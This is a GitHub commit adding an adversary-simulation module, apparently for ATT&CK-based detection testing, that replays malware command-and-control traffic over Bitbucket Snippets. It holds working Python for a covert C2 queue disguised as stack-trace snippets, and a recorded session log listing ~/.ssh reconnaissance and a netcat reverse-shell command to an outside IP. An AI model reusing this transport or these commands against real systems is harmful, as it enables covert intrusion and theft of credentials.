Merge pull request #86 from ahogue-atlassian/master

Add Custom C2 Protocol - Bitbucket Snippets
patch-7
caseysmithrc 2018-03-06 07:45:05 -07:00 committed by GitHub
commit c3377e74d6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 334 additions and 3 deletions

View File

@ -0,0 +1,43 @@
# Custom Command and Control Protocol
MITRE ATT&CK Technique: [T1146](https://attack.mitre.org/wiki/Technique/T1094)
## Communication over Bitbucket Snippets
The use of a legitimate service as transport is a common technique to evade detection by masquerading as the legitimate service.
Below are instructions to run a script to simulate traffic from a malware implant that communicates via a custom protocol implemented in [Bitbucket Snippets](https://confluence.atlassian.com/bitbucket/snippets-719095082.html).
The malware itself isn't included, just the traffic simulation.
### Installation
#### Step 1: Create a new Bitbucket account
We recommend using a fresh account for this so as not to pollute the snippets of your existing account.
https://bitbucket.org/account/signup/
#### Step 2: Include its credentials in `auth.json`
In the directory [Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets](Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets):
```
cp auth.json.template auth.json
```
Edit `auth.json` to include the username, email, and password of the Bitbucket account. `auth.json` should not be added to version control.
### Step 3: Install dependencies
```
pip install -r requirements.txt
```
### Usage
To simulate the network traffic, run:
```
python replay.py
```
You will need to be using Python 3.
This will make requests to `bitbucket.org` urls, recorded from an interactive session with the malware.
The session recording of the malware is available to view and modify at [traffic_history.json](bitbucket_protocol/traffic_history.json)

View File

@ -0,0 +1,5 @@
{
"username": "",
"email": "",
"password": ""
}

View File

@ -0,0 +1,191 @@
import datetime
import requests
import json
import functools
class BitbucketTransport():
"""Send and recieve arbitrary data to a queue implemented in Bitbucket Snippets.
https://confluence.atlassian.com/bitbucket/snippets-719095082.html
"""
TITLE_TEMPLATE = "stacktrace|{time}"
SNIPPET_FILE_NAME = "debug.log"
def __init__(self):
with open("auth.json") as f:
auth = json.load(f)
self.email = auth["email"]
self.password = auth["password"]
self.username = auth["username"]
self.BASE_URL = "https://api.bitbucket.org/"
self.auth = (self.email, self.password)
self.history = []
def push(self, data):
"""Add something to the end of the queue
Snippets looks like this:
push() -> [4, 3, 2, 1, 0 ...] -> pop()
The numbers indicate in which order items were added to the queue.
0 was added first, 4 last.
"""
self.history.append({
"history_type": "push",
"data": data
})
# Imitate a stack trace to avoid rasing suspicion.
metadata = {
"title": self.TITLE_TEMPLATE.format(
time=datetime.datetime.utcnow().strftime('%b-%d-%I%M%p-%G')),
"is_private": True,
}
# Send the file as a POST request of raw text, not an actual HTTP multipart file.
files = {
"file": (self.SNIPPET_FILE_NAME, data)
}
res = self._api_post(data=metadata, files=files)
return res
def pop(self):
"""Remove and return the oldest item in the queue.
Snippets looks like this:
push() -> [4, 3, 2, 1, 0 ...] -> pop()
The numbers indicate in which order items were added to the queue.
0 was added first, 4 last.
"""
snips = self.get_all_snippets()
if not snips:
return None
# Get the oldest snippet
snip = snips[0]
# Delete it
snip_content = self.get_content(snip)
self.delete_snip(snip["id"])
self.history.append({
"history_type": "pop",
"data": snip_content
})
return snip_content
def peek(self):
"""Return the oldest item in the queue.
Snippets looks like this:
push() -> [4, 3, 2, 1, 0 ...] -> pop()
The numbers indicate in which order items were added to the queue.
0 was added first, 4 last.
"""
snips = self.get_all_snippets()
if not snips:
return None
# Get the oldest snippet
snip = snips[0]
snip_content = self.get_content(snip)
self.history.append({
"history_type": "peek",
"data": snip_content
})
return snip_content
def search_filter(self, filter_, pop=False):
"""Find the first snippet that matches the provided filter.
Args:
filter_: Function that returns True for the snippets we want to match.
Returns:
The first matching snippet (as a string).
"""
snips = self.get_all_snippets()
if not snips:
return None
# Walk the front of the queue until we find the oldest item meant for us.
for snip in snips:
snip_content = self.get_content(snip)
if filter_(snip_content):
# We can only pop if we found something.
if pop:
self.delete_snip(snip["id"])
return snip_content
return None
def pop_filter(self, filter_):
return self.search_filter(filter_=filter_, pop=True)
def peek_filter(self, filter_):
return self.search_filter(filter_=filter_, pop=False)
def delete_snip(self, snip_id):
delete_url = "https://bitbucket.org/api/2.0/snippets/" + \
self.username + "/" + snip_id
requests.delete(delete_url, auth=self.auth)
def get_content(self, snip):
"""Returns the raw text in a snippet object.
Args:
snip: Dict of snippet metadata from the Bitbucket snippets API
Returns:
str: The raw snippet text.
"""
url = "/".join(snip["links"]["diff"]["href"].split("/")[:-1])
res = self._get_snip_content(url)
if res.status_code == 404:
# The snippet might have been deleted since we got its id, so we can ignore this.
return res.text
res.raise_for_status()
return res.text
@functools.lru_cache(maxsize=5)
def _get_snip_content(self, url):
"""Split out the network request part so we can cache it."""
res = requests.get(url + "/files/{filename}".format(filename=self.SNIPPET_FILE_NAME),
auth=self.auth)
return res
def _api_get(self, *args, **kwargs):
return requests.get(self.BASE_URL + "/2.0/snippets?role=owner",
auth=(self.email, self.password),
*args, **kwargs)
def _api_post(self, *args, **kwargs):
return requests.post(self.BASE_URL + "/2.0/snippets",
auth=(self.email, self.password),
*args, **kwargs)
def get_all_snippets(self):
"""Return all snippets in this Bitbucket account."""
res = self._api_get()
res.raise_for_status()
res = res.json()
# No pagination
if "next" not in res:
return res["values"]
snippets = []
while True:
# Extract the current list of snippets
for snip in res["values"]:
snippets.append(snip)
if "next" in res:
# Get the next page
res = requests.get(res["next"], auth=self.auth)
res.raise_for_status()
res = res.json()
else:
return snippets

View File

@ -0,0 +1,18 @@
"""Replay captured traffic from malware using Bitbucket snippets as a C2."""
import json
import bitbucket_transport
transport = bitbucket_transport.BitbucketTransport()
with open("traffic_history.json") as f:
history = json.load(f)
for event in history:
print(event)
if event.get("history_type") == "push":
data = event["data"]
transport.push(data)
elif event.get("history_type") == "pop":
result = transport.pop()
if event.get("history_type") == "peek":
result = transport.peek()

View File

@ -0,0 +1,73 @@
[
{
"history_type": "peek"
},
{
"history_type": "peek"
},
{
"history_type": "peek"
},
{
"history_type": "pop"
},
{
"history_type": "push",
"data": "{\"type\": \"result\", \"executed_cmd\": \"pwd\", \"result\": \"/home/username/.config/t/\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
},
{
"history_type": "peek"
},
{
"history_type": "peek"
},
{
"history_type": "pop"
},
{
"history_type": "push",
"data": "{\"type\": \"result\", \"executed_cmd\": \"whoami\", \"result\": \"username\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
},
{
"history_type": "peek"
},
{
"history_type": "pop"
},
{
"history_type": "push",
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls .ssh\", \"result\": \"Command 'ls .ssh' returned non-zero exit status 2.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
},
{
"history_type": "peek"
},
{
"history_type": "pop"
},
{
"history_type": "push",
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls ~/.ssh\", \"result\": \"username-test.pem\\nconfig\\nconfig~\\nid_rsa\\nid_rsa.pub\\nknown_hosts\\nprivate_key.key\\nvagrant\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
},
{
"history_type": "peek"
},
{
"history_type": "pop"
},
{
"history_type": "push",
"data": "{\"type\": \"result\", \"executed_cmd\": \"nc 192.168.100.113 -e /bin/bash\", \"result\": \"Command 'nc 192.168.100.113 -e /bin/bash' returned non-zero exit status 1.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
},
{
"history_type": "peek"
},
{
"history_type": "peek"
},
{
"history_type": "peek"
},
{
"history_type": "peek"
}
]

View File

@ -4,8 +4,8 @@
|------------------------------|-------------------------------|---------------------------------|----------------------------------------|----------------------------------------|---------------------------------|--------------------------|--------------------------------|-----------------------------------------------|-----------------------------------------|
| [.bash_profile and .bashrc](Persistence/bash_profile_and_bashrc.md) | Dylib Hijacking | Binary Padding | [Bash History](Credential_Access/Bash_History.md) | [Account Discovery](Discovery/Account_Discovery.md) | [AppleScript](Execution/AppleScript.md) | [AppleScript](Execution/AppleScript.md) | Audio Capture | Automated Exfiltration | Commonly Used Port |
| [Browser Extensions](Persistence/Browser_Extensions.md) | Exploitation of Vulnerability | [Clear Command History](Defense_Evasion/Clear_Command_History.md) | Brute Force | Application Window Discovery | Application Deployment Software | Command-Line Interface | Automated Collection | Data Compressed | Communication Through Removable Media |
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | [Browser Extensions](Collection/Browser_Extensions.md) | Data Encrypted | Connection Proxy |
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | Custom Command and Control Protocol |
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | Browser Extensions | Data Encrypted | Connection Proxy |
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | [Custom Command and Control Protocol](Command_and_Control/Custom_Command_and_Control_Protocol.md) |
| Hidden Files and Directories | Process Injection | Exploitation of Vulnerability | Input Capture | [Network Share Discovery](Discovery/Network_Share_Discovery.md) | Remote File Copy | Local Job Scheduling | Data Staged | [Exfiltration Over Alternative Protocol](Exfiltration/Exfiltration_Over_Alternative_Protocol.md) | Custom Cryptographic Protocol |
| LC_LOAD_DYLIB Addition | [Setuid and Setgid](Privilege_Escalation/Setuid_and_Setgid.md) | File Deletion | [Input Prompt](Credential_Access/Input_Prompt.md) | [Permission Groups Discovery](Discovery/Permissions_Groups_Discovery.md) | Remote Services | Scripting | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding |
| [Launch Agent](Persistence/Launch_Agent.md) | Startup Items | [Gatekeeper Bypass](Defense_Evasion/Gatekeeper_Bypass.md) | [Keychain](Credential_Access/Keychain.md) | [Process Discovery](Discovery/Process_Discovery.md) | SSH Hijacking | Source | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation |